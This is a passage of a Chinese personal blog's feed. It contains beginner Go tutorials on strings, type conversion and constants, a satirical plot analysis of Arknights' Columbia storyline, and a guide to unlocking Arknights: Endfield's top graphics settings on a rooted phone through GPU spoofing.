&lt;p&gt;&lt;strong&gt;字符串不支持 &lt;code&gt;-&lt;/code&gt;、&lt;code&gt;*&lt;/code&gt;、&lt;code&gt;/&lt;/code&gt; 运算：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;hello&quot; - &quot;world&quot;  // ❌ 报错
&quot;hello&quot; * 3        // ❌ 报错，Python 里可以但 Go 不行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字符串重复用 &lt;code&gt;strings.Repeat()&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(strings.Repeat(&quot;go&quot;, 3))  // gogogo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下一篇讲 if 语句，条件判断的完整用法，以及 Go 里 if 特有的初始化语句写法&lt;/p&gt;
</content:encoded><category>教程</category><category>Golang</category><author>Chongxi</author></item><item><title>合法吃人：明日方舟哥伦比亚剧情解构-孤岛风云篇</title><link>https://xice.cx/posts/ArknightsStoryMansfieldBreak/</link><guid isPermaLink="true">https://xice.cx/posts/ArknightsStoryMansfieldBreak/</guid><description>本文以《孤岛风云》为头，拆解明日方舟哥伦比亚的资本运作逻辑</description><pubDate>Thu, 14 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;警告：这可能是一篇让考据党气出高血压的方舟剧情总结
本文包含极其严重的剧情魔改级解构、地狱笑话式的直球总结，切勿上纲上线，看完大概率会让你觉得我刚从乌萨斯疯人院里跑出来&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在明日方舟的泰拉世界里，其他国家的剧情往往充斥着 血统、种族主义、神、古老恩怨和上古巨兽，但哥伦比亚的剧情可不是无聊的种族互殴，他直接把你拉进了&lt;strong&gt;反垄断法、专利战、纳斯达克敲钟和合法黑社会&lt;/strong&gt;的现代资本主义大乱斗&lt;/p&gt;
&lt;p&gt;本文我们就先来解析哥伦比亚篇的第一部：**《孤岛风云》&lt;/p&gt;
&lt;p&gt;如果只看表面，《孤岛风云》是一部非常标准的好莱坞风格肖申克救赎翻版：&lt;/p&gt;
&lt;p&gt;主角山(安东尼)：一个温文尔雅的黑帮/财阀大少爷，被仇家栽赃陷害，判了重刑丢进全封闭的曼斯菲尔德移动监狱&lt;/p&gt;
&lt;p&gt;负责他跑路的策划是前莱茵生命的研究员赫默不忍心看好人蒙冤，自掏腰包雇佣了卡夫卡和走投无路的打工人罗宾潜入监狱，试图从内部带少爷越狱&lt;/p&gt;
&lt;p&gt;以在监狱里挑起暴动作为掩护，男主与仇家派来的顶级杀手杰斯顿(真顶级吗)在雨夜决战&lt;/p&gt;
&lt;p&gt;最后，前莱茵生命安保主任塞雷娅出来三拳打爆杰斯顿带着大家潇洒离去&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;但这仅仅是表层，如果你仔细拆解哥伦比亚的社会运作逻辑，你会发现这背后全是吃人的资本生意&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;在这场风波中，陷害山的幕后黑手是哥伦比亚的一家大财阀海德兄弟。他们为什么要搞山？不是为了寻仇，而是为了&lt;strong&gt;商业并购&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;山的家族企业西蒙公司在建筑材料领域挡了海德兄弟的财路。在别的国家，解决竞争对手可能靠暗杀。但在哥伦比亚这个法治（法制）社会，海德兄弟选择了“合法手段”：&lt;strong&gt;买通检方，伪造证据，把西蒙公司的继承人打成重罪犯&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一旦继承人入狱，公司股价就会暴跌，海德兄弟就能以极低的价格在资本市场上完成对西蒙公司的恶意收购。&lt;strong&gt;这就是哥伦比亚特色商战&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;曼斯菲尔德监狱是哥伦比亚最黑暗的一个缩影。它根本不是国家暴力机关，而是一个&lt;strong&gt;盈利性的私有企业&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这里的犯人不需要被改造，也不需要被处死。因为每一个犯人都是免费的、无底线的劳动力&lt;/p&gt;
&lt;p&gt;监狱长根本不在乎犯人在里面拉帮结派、地下拳击甚至ccb，只要他们每天能按时去工厂里踩缝纫机、造工业零件，给监狱创造KPI就行&lt;/p&gt;
&lt;p&gt;在哥伦比亚的资本家看来：&lt;strong&gt;死刑太浪费了，把一个人剥夺政治权利，变成一台24小时运转且不需要交五险一金的生物机器，这才是对社会价值的最大化利用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;反派杀手杰斯顿被玩家群体嘲笑为 方舟史上最拉胯的小丑boss，这位可以说是哥伦比亚职场生态的完美体现&lt;/p&gt;
&lt;p&gt;他明明是个杀手，却满口都是体面、规矩、公司制度。他跑到监狱里杀人，只是因为这是海德兄弟外包给他的一个项目。他觉得自己代表的是哥伦比亚至高无上的资本权力体系&lt;/p&gt;
&lt;p&gt;当他遇到从天而降的塞雷娅时，他最崩溃的不是打不过，而是塞雷娅根本不按职场规矩出牌。&lt;strong&gt;杰斯顿是一个被资本异化的高级打工人，他以为自己是规则的执行者，结果被真正的武力一拳打碎了三观&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;本次出场的人物则体现了哥伦比亚特色拿人性换价值的代价&lt;/p&gt;
&lt;p&gt;罗宾为什么要潜入监狱帮人越狱？因为她爸爸得了源石病，为了凑钱治病，她只能出卖自己的命去干这种违法勾当。哥伦比亚拥有泰拉世界最顶尖的医疗科技莱茵生命，但这里的底层人连一片阿司匹林都买不起。&lt;strong&gt;科技越发达，医疗费越贵，穷人死得越快&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;赫默则是一个绝对的理想主义者，试图用自己的微薄之力对抗整个系统。她以为自己策划了一场天衣无缝的越狱，但其实她的一举一动全都在缪尔赛思、塞雷娅等大佬的监视和默许之下&lt;/p&gt;
&lt;p&gt;为什么最后是塞雷娅一拳定音？这里其实暗示了哥伦比亚的一个核心规则：&lt;strong&gt;在这片标榜自由和法律的土地上，真正的法律，永远掌握在那些拥有绝对实力的超级寡头手中&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;《孤岛风云》作为哥伦比亚系列的开局，其实只是揭露了这个国家最下限、最世俗的一面：&lt;strong&gt;为了金钱和效率，把底层平民碾了当润滑油&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;山虽然成功越狱，逃到了罗德岛，但他永远失去了自己的家族和人生。海德兄弟依然在哥伦比亚呼风唤雨，私营监狱依然在源源不断地接收“免费劳动力”。主角团赢了一场战术，但哥伦比亚的资本齿轮依然在轰鸣转动&lt;/p&gt;
&lt;p&gt;在这个章节里，哥伦比亚的还只停留在资本家层面&lt;/p&gt;
&lt;p&gt;但在接下来的第二篇《绿野幻梦》中，我们将看到哥伦比亚真正可怕的地方&lt;/p&gt;
</content:encoded><category>明日方舟</category><category>剧情解构</category><author>Chongxi</author></item><item><title>如何给明日方舟终末地解锁最高画质</title><link>https://xice.cx/posts/unlockEndfieldHighQuality/</link><guid isPermaLink="true">https://xice.cx/posts/unlockEndfieldHighQuality/</guid><description>本文介绍了明日方舟终末地手机版画质被锁定无法选最高画质和渲染倍率的问题以及如何解锁最高画质</description><pubDate>Tue, 12 May 2026 13:58:11 GMT</pubDate><content:encoded>&lt;h2&gt;引&lt;/h2&gt;
&lt;p&gt;最近在玩终末地，感觉画质很糊，即使在设置里全开高渲染倍率还是感觉糊得像史蒂夫，以及部分画质直接锁死不给开高，于是怀疑终末地有分级制度，部分设备直接锁死画质。于是便有了本文的越狱尝试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./1.png&quot; alt=&quot;Arknights:Endfield&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./3.png&quot; alt=&quot;Arknights:Endfield-Game-setting&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里要注意的是，普通修改手机型号(例如伪装成Galaxy S26)并不能绕过终末地的分级检测，需要更改游戏识别出的GPU型号，这里需要用到一个叫&lt;strong&gt;iUnlocker GLTool&lt;/strong&gt;的工具进行伪装&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./4.png&quot; alt=&quot;iUnlockerGLTool&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/i-Taylo/iUnlockerGL&quot;&gt;iUnlocker GLTool GitHub仓库链接&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;准备阶段&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;在开始前，请确保您知道相关刷机风险并具备救砖能力，本文不为此负责&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;已root的手机&lt;/li&gt;
&lt;li&gt;Magisk或Kernel SU等su管理器&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;操作步骤&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;打开Magisk等管理器，在模块处刷入刚下好的模块(刷完需要重启生效)&lt;/li&gt;
&lt;li&gt;打开刚才下载的模块压缩包，里面有个apk，安装并授予root权限(这是图形管理器)&lt;/li&gt;
&lt;li&gt;打开安装好的iUnlocker revision app，点击 &lt;code&gt;+&lt;/code&gt; 添加app，将明日方舟终末地添加后，顶部会出现app图标，再点击一下即可进入菜单选择伪装的GPU型号&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;p&gt;如果不知道怎么选型号和版本，就默认选最高的那一档，如图所示
&lt;img src=&quot;./5.png&quot; alt=&quot;iUnlockerGLTool&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li&gt;保存并退出，此时打开终末地可能会触发一次着色器编译，再进入游戏后即可发现原来开不了高的画质选项全部解锁，且分辨率以满血运行&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./6.png&quot; alt=&quot;Arknights:Endfield&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./7.png&quot; alt=&quot;Arknights:Endfield&quot; /&gt;&lt;/p&gt;
</content:encoded><category>明日方舟</category><category>终末地</category><author>Chongxi</author></item><item><title>Ch.07：Go的类型转换</title><link>https://xice.cx/posts/ch07-tpCnvInGo/</link><guid isPermaLink="true">https://xice.cx/posts/ch07-tpCnvInGo/</guid><description>本文介绍了在Golang中类型转换</description><pubDate>Sun, 03 May 2026 18:15:11 GMT</pubDate><content:encoded>&lt;p&gt;Go 有一条规则你必须得记：&lt;strong&gt;不同类型之间不能直接运算或赋值，必须显式转换。&lt;/strong&gt; 没有隐式转换，没有自动提升，一切都要明确写出来&lt;/p&gt;
&lt;h2&gt;为什么没有隐式转换&lt;/h2&gt;
&lt;p&gt;很多语言会自动转换类型，比如 C 里 &lt;code&gt;int&lt;/code&gt; 和 &lt;code&gt;float&lt;/code&gt; 可以直接运算，语言帮你悄悄处理。Go 不打算这样干&lt;/p&gt;
&lt;p&gt;原因很简单：隐式转换会掩盖 bug。你以为两个数字在相加，实际上发生了精度丢失或者溢出，但没有任何提示。Go 让一切都显式发生，出了问题一眼看出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a int = 10
var b float64 = 3.14
fmt.Println(a + b)  // 报错：mismatched types int and float64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;必须手动转换：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(float64(a) + b)  // 10 + 3.14 = 13.14
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数字类型之间的转换&lt;/h2&gt;
&lt;p&gt;语法是 &lt;code&gt;目标类型(值)&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a int = 42
var b float64 = float64(a)  // int → float64
var c int = int(b)           // float64 → int
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单吧，但有几个细节要注意&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;浮点转整数：直接截断，不四舍五入&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var f float64 = 3.99
var n int = int(f)
fmt.Println(n)  // 3，不是 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;小数部分直接丢掉，不管是 3.1 还是 3.9，结果都是 3。需要四舍五入要用 &lt;code&gt;math.Round()&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;math&quot;

f := 3.99
n := int(math.Round(f))
fmt.Println(n)  // 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;大类型转小类型可能会溢出&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a int32 = 1000
var b int8 = int8(a)
fmt.Println(b)  // -24，溢出了
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;int8&lt;/code&gt; 最大 127，1000 放不下，发生溢出。Go 不报错，静默地给你错误的结果，这是最危险的情况，你要自己保证转换前值在目标类型的范围内&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;有符号和无符号互转同样可能出问题&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a int = -1
var b uint = uint(a)
fmt.Println(b)  // 18446744073709551615，-1 变成了极大的正数
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;负数转无符号整数，结果完全不符合预期&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;整数和浮点互转的精度损失&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a int64 = 9999999999999999
var b float64 = float64(a)
var c int64 = int64(b)
fmt.Println(a == c)  // false，精度丢失了
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;float64&lt;/code&gt; 的有效精度约 15-16 位，超大整数转浮点再转回来，可能和原始值不一样&lt;/p&gt;
&lt;h2&gt;字符串和 []byte、[]rune 互转&lt;/h2&gt;
&lt;p&gt;上一篇讲过，这里整理一下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;Hello, 世界&quot;

// string → []byte
bs := []byte(s)

// []byte → string
s2 := string(bs)

// string → []rune
rs := []rune(s)

// []rune → string
s3 := string(rs)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;单个数字转字符串，不要用 &lt;code&gt;string()&lt;/code&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n := 65
fmt.Println(string(n))  // &quot;A&quot;，不是 &quot;65&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;string(65)&lt;/code&gt; 把 65 当作 Unicode 码点，返回对应的字符 &lt;code&gt;&quot;A&quot;&lt;/code&gt;，不是数字 65 的字符串形式。要得到 &lt;code&gt;&quot;65&quot;&lt;/code&gt; 用 &lt;code&gt;strconv.Itoa()&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;strconv 包：字符串和数字互转&lt;/h2&gt;
&lt;p&gt;字符串和数字之间不能用类型转换语法，要用 &lt;code&gt;strconv&lt;/code&gt; 包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;strconv&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;整数和字符串&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;整数转字符串，&lt;code&gt;Itoa&lt;/code&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n := 42
s := strconv.Itoa(n)
fmt.Println(s)          // &quot;42&quot;
fmt.Printf(&quot;%T\n&quot;, s)  // string
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;字符串转整数，&lt;code&gt;Atoi&lt;/code&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;42&quot;
n, err := strconv.Atoi(s)
if err != nil {
    fmt.Println(&quot;转换失败:&quot;, err)
} else {
    fmt.Println(n)  // 42
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Atoi&lt;/code&gt; 返回两个值：结果和错误。字符串不一定是合法的整数，所以必须处理错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;abc&quot;
n, err := strconv.Atoi(s)
if err != nil {
    fmt.Println(err)  // strconv.Atoi: parsing &quot;abc&quot;: invalid syntax
}
fmt.Println(n)  // 0，转换失败时结果是零值
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;浮点数和字符串&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;浮点数转字符串，&lt;code&gt;FormatFloat&lt;/code&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;f := 3.14159

// &apos;f&apos; 格式（普通小数），2 位小数，float64
s := strconv.FormatFloat(f, &apos;f&apos;, 2, 64)
fmt.Println(s)  // &quot;3.14&quot;

// &apos;e&apos; 格式（科学计数法）
s2 := strconv.FormatFloat(f, &apos;e&apos;, 4, 64)
fmt.Println(s2)  // &quot;3.1416e+00&quot;

// &apos;g&apos; 格式（自动选择最短表示）
s3 := strconv.FormatFloat(f, &apos;g&apos;, -1, 64)
fmt.Println(s3)  // &quot;3.14159&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参数说明：第一个是值，第二个是格式（&lt;code&gt;f&lt;/code&gt;/&lt;code&gt;e&lt;/code&gt;/&lt;code&gt;g&lt;/code&gt;），第三个是精度（&lt;code&gt;-1&lt;/code&gt; 表示最短表示），第四个是位数（32 或 64）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;字符串转浮点数，&lt;code&gt;ParseFloat&lt;/code&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;3.14&quot;
f, err := strconv.ParseFloat(s, 64)  // 64 表示 float64
if err != nil {
    fmt.Println(&quot;转换失败:&quot;, err)
} else {
    fmt.Println(f)  // 3.14
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;布尔值和字符串&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;布尔转字符串：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b := true
s := strconv.FormatBool(b)
fmt.Println(s)  // &quot;true&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;字符串转布尔：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;true&quot;
b, err := strconv.ParseBool(s)
if err != nil {
    fmt.Println(&quot;转换失败:&quot;, err)
} else {
    fmt.Println(b)  // true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ParseBool&lt;/code&gt; 能识别 &lt;code&gt;&quot;1&quot;&lt;/code&gt;、&lt;code&gt;&quot;t&quot;&lt;/code&gt;、&lt;code&gt;&quot;true&quot;&lt;/code&gt;、&lt;code&gt;&quot;TRUE&quot;&lt;/code&gt; 为 true，&lt;code&gt;&quot;0&quot;&lt;/code&gt;、&lt;code&gt;&quot;f&quot;&lt;/code&gt;、&lt;code&gt;&quot;false&quot;&lt;/code&gt;、&lt;code&gt;&quot;FALSE&quot;&lt;/code&gt; 为 false，其他值报错&lt;/p&gt;
&lt;h3&gt;ParseInt 和 ParseUint 的通杀解析&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Atoi&lt;/code&gt; 只能解析十进制整数，&lt;code&gt;ParseInt&lt;/code&gt; 更灵活：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 解析十六进制
n, err := strconv.ParseInt(&quot;ff&quot;, 16, 64)  // 基数 16，位数 64
fmt.Println(n)  // 255

// 解析二进制
n2, err := strconv.ParseInt(&quot;1010&quot;, 2, 64)
fmt.Println(n2)  // 10

// 基数 0：根据前缀自动判断（0x 十六进制，0b 二进制，0o 八进制）
n3, err := strconv.ParseInt(&quot;0xff&quot;, 0, 64)
fmt.Println(n3)  // 255
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;整数转指定进制的字符串：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n := 255
fmt.Println(strconv.FormatInt(int64(n), 2))   // &quot;11111111&quot;，二进制
fmt.Println(strconv.FormatInt(int64(n), 16))  // &quot;ff&quot;，十六进制
fmt.Println(strconv.FormatInt(int64(n), 10))  // &quot;255&quot;，十进制
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;fmt.Sprintf 的格式化转换&lt;/h2&gt;
&lt;p&gt;除了 &lt;code&gt;strconv&lt;/code&gt;，还可以用 &lt;code&gt;fmt.Sprintf&lt;/code&gt; 把任意值转成字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n := 42
f := 3.14
b := true

s1 := fmt.Sprintf(&quot;%d&quot;, n)   // &quot;42&quot;
s2 := fmt.Sprintf(&quot;%.1f&quot;, f) // &quot;3.1&quot;
s3 := fmt.Sprintf(&quot;%v&quot;, b)   // &quot;true&quot;
s4 := fmt.Sprintf(&quot;%v&quot;, n)   // &quot;42&quot;，%v 是通用格式
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;%v&lt;/code&gt; 是万能格式，任何类型都能用，但不如专用格式精确。&lt;code&gt;Sprintf&lt;/code&gt; 比 &lt;code&gt;strconv&lt;/code&gt; 灵活，但速度稍慢，需要高性能场合用 &lt;code&gt;strconv&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;接口类型的转换&lt;/h2&gt;
&lt;p&gt;接口类型是 Go 里一个特殊的存在，它可以存任意类型的值。从接口类型取回具体类型，需要用&lt;strong&gt;类型断言&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现在不需要完全理解接口，只需要知道类型断言的语法，后面接口那篇会深入讲&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var i interface{} = &quot;hello&quot;

// 类型断言
s, ok := i.(string)
if ok {
    fmt.Println(s)  // &quot;hello&quot;
} else {
    fmt.Println(&quot;不是 string&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;i.(string)&lt;/code&gt; 断言 &lt;code&gt;i&lt;/code&gt; 里存的是 &lt;code&gt;string&lt;/code&gt;，返回两个值：实际值和是否成功&lt;/p&gt;
&lt;p&gt;不带 &lt;code&gt;ok&lt;/code&gt; 的写法，断言失败会直接 panic：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := i.(string)  // 如果 i 不是 string，程序崩溃
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;带 &lt;code&gt;ok&lt;/code&gt; 的写法更安全，断言失败 &lt;code&gt;ok&lt;/code&gt; 是 &lt;code&gt;false&lt;/code&gt;，&lt;code&gt;s&lt;/code&gt; 是零值，程序不崩溃&lt;/p&gt;
&lt;h2&gt;自定义类型之间的转换&lt;/h2&gt;
&lt;p&gt;上一篇提到可以用 &lt;code&gt;type&lt;/code&gt; 定义新类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Celsius float64     // 摄氏度
type Fahrenheit float64  // 华氏度
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然两者底层都是 &lt;code&gt;float64&lt;/code&gt;，但它们定义上是不同的类型，不能直接运算：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var c Celsius = 100
var f Fahrenheit = Fahrenheit(c)  // 必须显式转换
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;底层类型相同的自定义类型之间可以互转：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Celsius float64
type MyFloat float64

var c Celsius = 100
var m MyFloat = MyFloat(c)  // 底层都是 float64，可以转
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但自定义类型和内置类型之间也需要显式转换：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type MyInt int

var a MyInt = 10
var b int = int(a)   // MyInt → int
var c MyInt = MyInt(b)  // int → MyInt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;转换性能考量&lt;/h2&gt;
&lt;p&gt;大多数类型转换在编译阶段处理，运行时没有额外开销。但有几种转换会分配内存，需要注意：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;string&lt;/code&gt; 和 &lt;code&gt;[]byte&lt;/code&gt; 互转会复制数据：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s := &quot;hello&quot;
bs := []byte(s)  // 复制了一份数据
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;频繁转换在高性能场合是个负担。Go 1.20 之后可以用 &lt;code&gt;unsafe&lt;/code&gt; 包做零拷贝转换，但那是进阶话题，现在不用管&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;fmt.Sprintf&lt;/code&gt; 比 &lt;code&gt;strconv&lt;/code&gt; 慢：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;做大量数字转字符串，用 &lt;code&gt;strconv.Itoa&lt;/code&gt;，不要用 &lt;code&gt;fmt.Sprintf(&quot;%d&quot;, n)&lt;/code&gt;。差距在基准测试里明显，日常少量转换无所谓&lt;/p&gt;
&lt;h2&gt;常见坑&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;string(整数)&lt;/code&gt; 不是数字转字符串&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fmt.Println(string(65))    // &quot;A&quot;，不是 &quot;65&quot;
fmt.Println(strconv.Itoa(65))  // &quot;65&quot;，这才对嘛
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;浮点转整数不四舍五入&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int(3.9)  // 3，不是 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要四舍五入用 &lt;code&gt;math.Round()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;大转小溢出不报错&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int8(1000)  // -24，静默溢出
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;转换前自己确认值在目标范围内&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;负数转无符号整数&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uint(-1)  // 18446744073709551615
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有符号负数转无符号，结果完全不符合预期&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Atoi 错误没处理&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n, _ := strconv.Atoi(&quot;abc&quot;)
fmt.Println(n)  // 0，这里他悄悄失败了
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;转换失败时结果是零值，如果直接用这个零值继续运算，bug 很难追踪。你要养成错误必须要处理的习惯&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;下一篇讲运算符，算术、比较、逻辑、位运算，以及 Go 里一些和其他语言不同的地方&lt;/p&gt;
</content:encoded><category>教程</category><category>Golang</category><author>Chongxi</author></item><item><title>Ch.06：Go里的常量与iota</title><link>https://xice.cx/posts/ch06-costIotaInGolang/</link><guid isPermaLink="true">https://xice.cx/posts/ch06-costIotaInGolang/</guid><description>本文介绍了在Golang中常量和iota用法</description><pubDate>Sun, 03 May 2026 18:04:21 GMT</pubDate><content:encoded>&lt;p&gt;变量的值可以在运行时随时改变，但有些值从定义开始他就不应该变。例如圆周率、程序版本号、一周的天数。这类值用常量来表示，Go 用 &lt;code&gt;const&lt;/code&gt; 声明&lt;/p&gt;
&lt;h2&gt;常量的基本声明&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const Pi = 3.14159
const AppName = &quot;MyApp&quot;
const MaxRetry = 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常量声明之后不能修改，强行赋值会报错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const Pi = 3.14159
Pi = 3.14  // 报错：cannot assign to Pi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常量也可以指定类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const Pi float64 = 3.14159
const MaxRetry int = 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不指定类型的常量叫&lt;strong&gt;无类型常量&lt;/strong&gt;，灵活性更高，后面会讲&lt;/p&gt;
&lt;p&gt;多个常量可以用括号一起声明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    AppName = &quot;MyApp&quot;
    Version = &quot;1.0.0&quot;
    MaxRetry = 3
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;常量和变量的区别&lt;/h2&gt;
&lt;p&gt;常量只能是编译阶段就能确定的值，不能是运行时才能得到的结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const now = time.Now()  // 报错，time.Now() 是运行时才能得到的值
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;能用作常量的值：字符串字面量、数字字面量、布尔值、以及由这些构成的表达式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const (
    A = 1
    B = 2
    C = A + B  // ✅ 编译阶段就能算出来
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常量没有&lt;strong&gt;声明了必须使用&lt;/strong&gt;的限制，这点和变量不同：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const unused = 42
// 不使用也不报错
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;无类型常量&lt;/h2&gt;
&lt;p&gt;不指定类型的常量叫无类型常量，它在被使用时才确定类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const x = 42

var a int = x      // x 当作 int 用
var b float64 = x  // x 当作 float64 用
var c int32 = x    // x 当作 int32 用
&lt;/code&gt;&lt;/pre&gt;
